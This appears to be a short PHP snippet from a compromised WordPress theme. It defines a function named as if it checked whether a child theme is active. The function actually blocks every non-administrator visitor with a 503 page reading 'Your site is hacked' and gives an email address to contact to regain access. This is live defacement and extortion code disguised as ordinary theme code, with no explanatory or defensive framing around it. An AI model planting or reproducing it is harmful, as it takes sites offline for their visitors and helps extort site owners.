function child_theme_active() { if ( !current_user_can('administrator') && !is_admin() ) { wp_die( '
Your site is hacked contact devvicky652@gmail.com to regain the access..
', '', array('response' => 503) ); } } add_action('template_redirect', 'child_theme_active');